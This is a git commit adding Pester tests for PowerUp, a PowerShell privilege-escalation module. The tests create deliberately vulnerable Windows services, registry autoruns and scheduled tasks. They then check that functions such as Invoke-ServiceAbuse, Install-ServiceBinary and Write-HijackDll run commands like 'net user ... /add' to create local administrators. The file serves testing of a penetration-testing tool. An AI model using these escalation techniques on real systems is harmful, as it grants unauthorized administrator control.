Privesc/PowerUp Pester tests
This commit is contained in:
Harmj0y
parent
8ab8c49a0d
commit
c143dc6885
|
|
@ -0,0 +1,485 @@
|
|||
Set-StrictMode -Version Latest
|
||||
|
||||
$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent
|
||||
$ModuleRoot = Resolve-Path "$TestScriptRoot\.."
|
||||
|
||||
$ModuleManifest = "$ModuleRoot\Privesc\Privesc.psd1"
|
||||
Remove-Module [P]rivesc
|
||||
Import-Module $ModuleManifest -Force -ErrorAction Stop
|
||||
|
||||
# import PowerUp.ps1 manually so we expose the helper functions for testing
|
||||
$PowerUpFile = "$ModuleRoot\Privesc\PowerUp.ps1"
|
||||
Import-Module $PowerUpFile -Force -ErrorAction Stop
|
||||
|
||||
|
||||
|
||||
function Get-RandomName {
|
||||
$r = 1..8 | ForEach-Object{Get-Random -max 26}
|
||||
return ('abcdefghijklmnopqrstuvwxyz'[$r] -join '')
|
||||
}
|
||||
|
||||
|
||||
########################################################
|
||||
#
|
||||
# PowerUp helpers functions.
|
||||
#
|
||||
########################################################
|
||||
|
||||
Describe 'Get-ModifiableFile' {
|
||||
|
||||
It 'Should output a file path.' {
|
||||
$FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
|
||||
$Null | Out-File -FilePath $FilePath -Force
|
||||
|
||||
$Output = Get-ModifiableFile -Path $FilePath
|
||||
$Output | Should Be $FilePath
|
||||
|
||||
Remove-Item -Path $FilePath -Force
|
||||
}
|
||||
|
||||
It 'Should extract a modifiable file specified as an argument in a command string.' {
|
||||
$FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
|
||||
$Null | Out-File -FilePath $FilePath -Force
|
||||
|
||||
$CmdPath = "'C:\Windows\System32\nonexistent.exe' -i '$FilePath'"
|
||||
|
||||
$Output = Get-ModifiableFile -Path $FilePath
|
||||
$Output | Should Be $FilePath
|
||||
|
||||
Remove-Item -Path $FilePath -Force
|
||||
}
|
||||
|
||||
It 'Should return no results for a non-existent path.' {
|
||||
$FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
|
||||
|
||||
$Output = Get-ModifiableFile -Path $FilePath
|
||||
$Output | Should BeNullOrEmpty
|
||||
}
|
||||
|
||||
It 'Should accept a Path over the pipeline.' {
|
||||
$FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
|
||||
|
||||
$Output = Get-ModifiableFile -Path $FilePath
|
||||
$Output | Should BeNullOrEmpty
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
########################################################
|
||||
#
|
||||
# PowerUp service enumeration functions.
|
||||
#
|
||||
########################################################
|
||||
|
||||
Describe 'Get-ServiceUnquoted' {
|
||||
|
||||
It "Should not throw." {
|
||||
{Get-ServiceUnquoted} | Should Not Throw
|
||||
}
|
||||
|
||||
It 'Should return service with a space in an unquoted binPath.' {
|
||||
$ServiceName = Get-RandomName
|
||||
$ServicePath = "C:\Program Files\service.exe"
|
||||
|
||||
sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
|
||||
Start-Sleep -Seconds 1
|
||||
|
||||
$Output = Get-ServiceUnquoted | Where-Object { $_.ServiceName -eq $ServiceName }
|
||||
sc.exe delete $ServiceName | Should Match "SUCCESS"
|
||||
|
||||
$Output | Should Not BeNullOrEmpty
|
||||
$Output.ServiceName | Should Be $ServiceName
|
||||
$Output.Path | Should Be $ServicePath
|
||||
}
|
||||
|
||||
It 'Should not return services with a quoted binPath.' {
|
||||
$ServiceName = Get-RandomName
|
||||
$ServicePath = "'C:\Program Files\service.exe'"
|
||||
|
||||
sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
|
||||
Start-Sleep -Seconds 1
|
||||
|
||||
$Output = Get-ServiceUnquoted | Where-Object { $_.ServiceName -eq $ServiceName }
|
||||
sc.exe delete $ServiceName | Should Match "SUCCESS"
|
||||
|
||||
$Output | Should BeNullOrEmpty
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Describe 'Get-ServiceFilePermission' {
|
||||
|
||||
It 'Should not throw.' {
|
||||
{Get-ServiceFilePermission} | Should Not Throw
|
||||
}
|
||||
|
||||
It 'Should return a service with a modifiable service binary.' {
|
||||
$ServiceName = Get-RandomName
|
||||
$ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe"
|
||||
$Null | Out-File -FilePath $ServicePath -Force
|
||||
|
||||
sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
|
||||
|
||||
$Output = Get-ServiceFilePermission | Where-Object { $_.ServiceName -eq $ServiceName }
|
||||
sc.exe delete $ServiceName | Should Match "SUCCESS"
|
||||
Remove-Item -Path $ServicePath -Force
|
||||
|
||||
$Output | Should Not BeNullOrEmpty
|
||||
$Output.ServiceName | Should Be $ServiceName
|
||||
$Output.Path | Should Be $ServicePath
|
||||
}
|
||||
|
||||
It 'Should not return a service with a non-existent service binary.' {
|
||||
$ServiceName = Get-RandomName
|
||||
$ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe"
|
||||
|
||||
sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
|
||||
|
||||
$Output = Get-ServiceFilePermission | Where-Object { $_.ServiceName -eq $ServiceName }
|
||||
sc.exe delete $ServiceName | Should Match "SUCCESS"
|
||||
|
||||
$Output | Should BeNullOrEmpty
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Describe 'Get-ServicePermission' {
|
||||
|
||||
It 'Should not throw.' {
|
||||
{Get-ServicePermission} | Should Not Throw
|
||||
}
|
||||
|
||||
It 'Should return a modifiable service.' {
|
||||
$Output = Get-ServicePermission | Where-Object { $_.ServiceName -eq 'Dhcp'}
|
||||
$Output | Should Not BeNullOrEmpty
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Describe 'Get-ServiceDetail' {
|
||||
|
||||
It 'Should return results for a valid service.' {
|
||||
$Output = Get-ServiceDetail -ServiceName Dhcp
|
||||
$Output | Should Not BeNullOrEmpty
|
||||
}
|
||||
|
||||
It 'Should return not results for an invalid service.' {
|
||||
$Output = Get-ServiceDetail -ServiceName NonExistent123
|
||||
$Output | Should BeNullOrEmpty
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
########################################################
|
||||
#
|
||||
# PowerUp service abuse functions.
|
||||
#
|
||||
########################################################
|
||||
|
||||
Describe 'Invoke-ServiceAbuse' {
|
||||
|
||||
BeforeEach {
|
||||
$ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe"
|
||||
$Null = sc.exe create "PowerUpService" binPath= $ServicePath
|
||||
}
|
||||
|
||||
AfterEach {
|
||||
$Null = sc.exe delete "PowerUpService"
|
||||
$Null = $(net user john /delete >$Null 2>&1)
|
||||
}
|
||||
|
||||
It 'Should abuse a vulnerable service to add a local administrator with default options.' {
|
||||
$Output = Invoke-ServiceAbuse -ServiceName "PowerUpService"
|
||||
$Output.Command | Should Match "net"
|
||||
|
||||
if( -not ($(net localgroup Administrators) -match "john")) {
|
||||
Throw "Local user 'john' not created."
|
||||
}
|
||||
}
|
||||
|
||||
It 'Should accept a service name on the pipeline.' {
|
||||
$Output = "PowerUpService" | Invoke-ServiceAbuse
|
||||
$Output.Command | Should Match "net"
|
||||
|
||||
if( -not ($(net localgroup Administrators) -match "john")) {
|
||||
Throw "Local user 'john' not created."
|
||||
}
|
||||
}
|
||||
|
||||
It 'User should not be created for a non-existent service.' {
|
||||
$Output = Invoke-ServiceAbuse -ServiceName "NonExistentService456"
|
||||
$Output.Command | Should Match "Not found"
|
||||
|
||||
if( ($(net localgroup Administrators) -match "john")) {
|
||||
Throw "Local user 'john' should not have been created for non-existent service."
|
||||
}
|
||||
}
|
||||
|
||||
It 'Should accept custom user/password arguments.' {
|
||||
$Output = Invoke-ServiceAbuse -ServiceName "PowerUpService" -Username PowerUp -Password 'PASSword123!'
|
||||
$Output.Command | Should Match "net"
|
||||
|
||||
if( -not ($(net localgroup Administrators) -match "PowerUp")) {
|
||||
Throw "Local user 'PowerUp' not created."
|
||||
}
|
||||
$Null = $(net user PowerUp /delete >$Null 2>&1)
|
||||
}
|
||||
|
||||
It 'Should accept a custom command.' {
|
||||
$FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
|
||||
$Output = Invoke-ServiceAbuse -ServiceName "PowerUpService" -Command "net user testing Password123! /add"
|
||||
|
||||
if( -not ($(net user) -match "testing")) {
|
||||
Throw "Custom command failed."
|
||||
}
|
||||
$Null = $(net user testing /delete >$Null 2>&1)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Describe 'Install-ServiceBinary' {
|
||||
|
||||
BeforeEach {
|
||||
$ServicePath = "$(Get-Location)\powerup.exe"
|
||||
$Null | Out-File -FilePath $ServicePath -Force
|
||||
$Null = sc.exe create "PowerUpService" binPath= $ServicePath
|
||||
}
|
||||
|
||||
AfterEach {
|
||||
$Null = Invoke-ServiceStop -ServiceName PowerUpService
|
||||
$Null = sc.exe delete "PowerUpService"
|
||||
$Null = $(net user john /delete >$Null 2>&1)
|
||||
if(Test-Path "$(Get-Location)\powerup.exe") {
|
||||
Remove-Item -Path "$(Get-Location)\powerup.exe" -Force
|
||||
}
|
||||
if(Test-Path "$(Get-Location)\powerup.exe.bak") {
|
||||
Remove-Item -Path "$(Get-Location)\powerup.exe.bak" -Force
|
||||
}
|
||||
}
|
||||
|
||||
It 'Should abuse a vulnerable service binary to add a local administrator with default options.' {
|
||||
|
||||
$Output = Install-ServiceBinary -ServiceName "PowerUpService"
|
||||
$Output.Command | Should Match "net"
|
||||
|
||||
$Null = Invoke-ServiceStart -ServiceName PowerUpService
|
||||
Start-Sleep -Seconds 3
|
||||
if( -not ($(net localgroup Administrators) -match "john")) {
|
||||
Throw "Local user 'john' not created."
|
||||
}
|
||||
$Null = Invoke-ServiceStop -ServiceName PowerUpService
|
||||
|
||||
$Output = Restore-ServiceBinary -ServiceName PowerUpService
|
||||
"$(Get-Location)\powerup.exe.bak" | Should Not Exist
|
||||
}
|
||||
|
||||
It 'Should accept a service name on the pipeline.' {
|
||||
|
||||
$Output = "PowerUpService" | Install-ServiceBinary
|
||||
$Output.Command | Should Match "net"
|
||||
|
||||
$Null = Invoke-ServiceStart -ServiceName PowerUpService
|
||||
Start-Sleep -Seconds 3
|
||||
if( -not ($(net localgroup Administrators) -match "john")) {
|
||||
Throw "Local user 'john' not created."
|
||||
}
|
||||
$Null = Invoke-ServiceStop -ServiceName PowerUpService
|
||||
|
||||
$Output = Restore-ServiceBinary -ServiceName PowerUpService
|
||||
"$(Get-Location)\powerup.exe.bak" | Should Not Exist
|
||||
}
|
||||
|
||||
It 'User should not be created for a non-existent service.' {
|
||||
$Output = Install-ServiceBinary -ServiceName "NonExistentService456"
|
||||
$Output.Command | Should Match "Not found"
|
||||
}
|
||||
|
||||
It 'Should accept custom user/password arguments.' {
|
||||
$Output = Install-ServiceBinary -ServiceName "PowerUpService" -Username PowerUp -Password 'PASSword123!'
|
||||
$Output.Command | Should Match "net"
|
||||
|
||||
$Null = Invoke-ServiceStart -ServiceName PowerUpService
|
||||
Start-Sleep -Seconds 3
|
||||
if( -not ($(net localgroup Administrators) -match "PowerUp")) {
|
||||
Throw "Local user 'PowerUp' not created."
|
||||
}
|
||||
$Null = $(net user PowerUp /delete >$Null 2>&1)
|
||||
|
||||
$Output = Restore-ServiceBinary -ServiceName PowerUpService
|
||||
"$(Get-Location)\powerup.exe.bak" | Should Not Exist
|
||||
}
|
||||
|
||||
It 'Should accept a custom command.' {
|
||||
|
||||
$Output = Install-ServiceBinary -ServiceName "PowerUpService" -Command "net user testing Password123! /add"
|
||||
$Output.Command | Should Match "net"
|
||||
|
||||
$Null = Invoke-ServiceStart -ServiceName PowerUpService
|
||||
Start-Sleep -Seconds 3
|
||||
if( -not ($(net user) -match "testing")) {
|
||||
Throw "Custom command failed."
|
||||
}
|
||||
$Null = $(net user testing /delete >$Null 2>&1)
|
||||
|
||||
$Output = Restore-ServiceBinary -ServiceName PowerUpService
|
||||
"$(Get-Location)\powerup.exe.bak" | Should Not Exist
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
########################################################
|
||||
#
|
||||
# PowerUp .dll hijacking functions.
|
||||
#
|
||||
########################################################
|
||||
|
||||
Describe 'Find-DLLHijack' {
|
||||
It 'Should return results.' {
|
||||
$Output = Find-DLLHijack
|
||||
$Output | Should Not BeNullOrEmpty
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Describe 'Find-PathHijack' {
|
||||
|
||||
It 'Should find a hijackable %PATH% folder.' {
|
||||
|
||||
New-Item -Path C:\PowerUpTest\ -ItemType directory -Force
|
||||
|
||||
$OldPath = $Env:PATH
|
||||
$Env:PATH += ';C:\PowerUpTest\'
|
||||
|
||||
$Output = Find-PathHijack | Where-Object {$_.HijackablePath -like "*PowerUpTest*"}
|
||||
$Env:PATH = $OldPath
|
||||
$Output.HijackablePath | Should Be 'C:\PowerUpTest\'
|
||||
}
|
||||
}
|
||||
|
||||
# won't actually execute on Win8+ with the wlbsctrl.dll method
|
||||
Describe 'Write-HijackDll' {
|
||||
|
||||
It 'Should write a .dll that executes a custom command.' {
|
||||
|
||||
Write-HijackDll -OutputFile "$(Get-Location)\powerup.dll" -Command "net user testing Password123! /add"
|
||||
|
||||
"$(Get-Location)\powerup.dll" | Should Exist
|
||||
"$(Get-Location)\debug.bat" | Should Exist
|
||||
Remove-Item -Path "$(Get-Location)\powerup.dll" -Force
|
||||
Remove-Item -Path "$(Get-Location)\debug.bat" -Force
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
########################################################
|
||||
#
|
||||
# PowerUp registry checks.
|
||||
#
|
||||
########################################################
|
||||
|
||||
Describe 'Get-RegAlwaysInstallElevated' {
|
||||
It 'Should not throw.' {
|
||||
{Get-ServicePermission} | Should Not Throw
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Describe 'Get-RegAutoLogon' {
|
||||
It 'Should not throw.' {
|
||||
{Get-ServicePermission} | Should Not Throw
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Describe 'Get-VulnAutoRun' {
|
||||
It 'Should not throw.' {
|
||||
{Get-VulnAutoRun} | Should Not Throw
|
||||
}
|
||||
It 'Should find a vulnerable autorun.' {
|
||||
$FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
|
||||
$Null | Out-File -FilePath $FilePath -Force
|
||||
Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp -Value "vuln.exe -i '$FilePath'"
|
||||
|
||||
$Output = Get-VulnAutoRun | ?{$_.Path -like "*$FilePath*"}
|
||||
|
||||
Remove-Item -Path $FilePath -Force
|
||||
$Null = Remove-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp
|
||||
|
||||
$Output.ModifiableFile | Should Be $FilePath
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
########################################################
|
||||
#
|
||||
# PowerUp misc. checks.
|
||||
#
|
||||
########################################################
|
||||
|
||||
Describe 'Get-VulnSchTask' {
|
||||
It 'Should not throw.' {
|
||||
{Get-VulnSchTask} | Should Not Throw
|
||||
}
|
||||
|
||||
It 'Should find a vulnerable config file for a binary specified in a schtask.' {
|
||||
|
||||
$FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
|
||||
$Null | Out-File -FilePath $FilePath -Force
|
||||
|
||||
$Null = schtasks.exe /create /tn PowerUp /tr "vuln.exe -i '$FilePath'" /sc onstart /ru System /f
|
||||
|
||||
$Output = Get-VulnSchTask | Where-Object {$_.TaskName -eq 'PowerUp'}
|
||||
$Null = schtasks.exe /delete /tn PowerUp /f
|
||||
Remove-Item -Path $FilePath -Force
|
||||
|
||||
$Output.TaskFilePath | Should Be $FilePath
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Describe 'Get-UnattendedInstallFile' {
|
||||
It 'Should not throw.' {
|
||||
{Get-UnattendedInstallFile} | Should Not Throw
|
||||
}
|
||||
It 'Should return a leftover autorun' {
|
||||
$FilePath = Join-Path $Env:WinDir "\System32\Sysprep\unattend.xml"
|
||||
|
||||
$Null | Out-File -FilePath $FilePath -Force
|
||||
$Output = Get-UnattendedInstallFile
|
||||
$Output | Should Not BeNullOrEmpty
|
||||
|
||||
Remove-Item -Path $FilePath -Force
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Describe 'Get-Webconfig' {
|
||||
It 'Should not throw.' {
|
||||
{Get-Webconfig} | Should Not Throw
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Describe 'Get-ApplicationHost' {
|
||||
It 'Should not throw.' {
|
||||
{Get-ApplicationHost} | Should Not Throw
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Describe 'Invoke-AllChecks' {
|
||||
It 'Should return results to stdout.' {
|
||||
$Output = Invoke-AllChecks
|
||||
$Output | Should Not BeNullOrEmpty
|
||||
}
|
||||
It 'Should produce a HTML report with -HTMLReport.' {
|
||||
$Output = Invoke-AllChecks -HTMLReport
|
||||
$Output | Should Not BeNullOrEmpty
|
||||
|
||||
$HtmlReportFile = "$($Env:ComputerName).$($Env:UserName).html"
|
||||
|
||||
$HtmlReportFile | Should Exist
|
||||
Remove-Item -Path $HtmlReportFile -Force
|
||||
}
|
||||
}
|
||||
Loading…
Reference in New Issue